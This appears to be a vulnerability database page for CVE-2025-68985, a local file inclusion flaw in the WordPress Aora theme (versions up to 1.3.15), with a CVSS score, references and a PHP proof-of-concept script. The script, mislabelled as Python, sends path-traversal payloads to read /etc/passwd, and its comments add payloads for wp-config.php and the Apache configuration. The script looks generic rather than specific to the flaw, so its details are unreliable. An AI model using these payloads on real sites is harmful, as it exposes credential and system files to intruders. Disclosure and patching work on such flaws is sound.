CVE-2025-68985

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in thembay Aora aora allows PHP Local File Inclusion.This issue affects Aora: from n/a through <= 1.3.15.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Aora Theme <= 1.3.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-68985 PoC - WordPress Aora Theme Local File Inclusion
 * Author: Security Research Team
 * Date: 2025-12-30
 */

$target = 'http://target-site.com/wp-content/themes/aora/';

// Payload to read /etc/passwd
$lfi_payload = '../../../../etc/passwd';

// Construct the malicious URL
$exploit_url = $target . '?file=' . urlencode($lfi_payload);

echo "[*] CVE-2025-68985 - Aora Theme LFI PoC\n";
echo "[*] Target: " . $target . "\n";
echo "[*] Exploit URL: " . $exploit_url . "\n\n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strpos($response, 'root:') !== false) {
    echo "[+] SUCCESS! File inclusion vulnerability confirmed.\n";
    echo "[+] Retrieved /etc/passwd content:\n";
    echo $response;
} else {
    echo "[-] Exploitation failed or target not vulnerable.\n";
}

// Additional payloads for reading sensitive files:
// Read wp-config.php: ?file=../../../../wp-config.php
// Read Apache config: ?file=../../../../etc/apache2/sites-enabled/000-default.conf
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68985
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68985
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68985/
[4] VulDB https://vuldb.com/cve/CVE-2025-68985
[5] https://patchstack.com/database/Wordpress/Theme/aora/vulnerability/wordpress-aora-theme-1-3-15-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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